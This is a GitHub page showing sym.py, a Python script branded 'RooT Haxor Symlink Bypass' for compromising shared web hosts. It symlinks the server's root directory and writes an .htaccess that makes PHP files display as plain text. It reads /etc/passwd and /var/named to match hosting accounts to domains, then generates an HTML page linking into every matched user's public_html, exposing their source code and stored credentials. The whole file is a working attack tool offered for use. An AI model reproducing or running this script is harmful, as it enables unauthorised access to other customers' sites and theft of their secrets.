-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathsym.py
61 lines (50 loc) · 1.73 KB
/
sym.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#/*Python
import time
import os
import sys
import re
os.system("color C")
hta = "\nFile : .htaccess // Created Successfully!\n"
f = "All Processes Done!\nSymlink Bypassed Successfully!\n"
print "\n"
print "~"*60
print "RooT Haxor"
print "~"*60
os.makedirs('r00t')
os.chdir('r00t')
susr=[]
sitex=[]
os.system("ln -s / r00t.txt")
h = "Options Indexes FollowSymLinks\nDirectoryIndex r00t.phtml\nAddType txt .php\nAddHandler txt .php"
m = open(".htaccess","w+")
m.write(h)
m.close()
print hta
sf = "<html><head><title>Symlink Bypass 2016 by RooT Haxor*</title><style>body { background-color: black; }table {td border: 1px solid white;}a:link {color: red;}</style></head><center><br><font color=white size=5>RooT Haxor Symlink Bypass (Python)</font></font><br><font color=white size=3><br><table><style>table { td border: 1px solid white ,color: red; }</style><tr><th>NO</th><th>Usernames</th><th>Domains</th>"
o = open('/etc/passwd','r')
o=o.read()
o = re.findall('/home/\w+',o)
for xusr in o:
xusr=xusr.replace('/home/','')
susr.append(xusr)
print "-"*30
xsite = os.listdir("/var/named")
for xxsite in xsite:
xxsite=xxsite.replace(".db","")
sitex.append(xxsite)
print f
path=os.getcwd()
if "/public_html/" in path:
path="/public_html/"
else:
path = "/html/"
counter=1
ips=open("r00t.phtml","w")
ips.write(sf)
for fusr in susr:
for fsite in sitex:
fu=fusr[0:5]
s=fsite[0:5]
if fu==s:
ips.write("<tr><td style=font-family:calibri;font-weight:bold;color:red;>%s</td><td style=font-family:calibri;font-weight:bold;color:red;>%s</td><td style=font-family:calibri;font-weight:bold;><a href=r00t.txt/home/%s%s target=_blank >%s</a></td>"%(counter,fusr,fusr,path,fsite))
counter=counter+1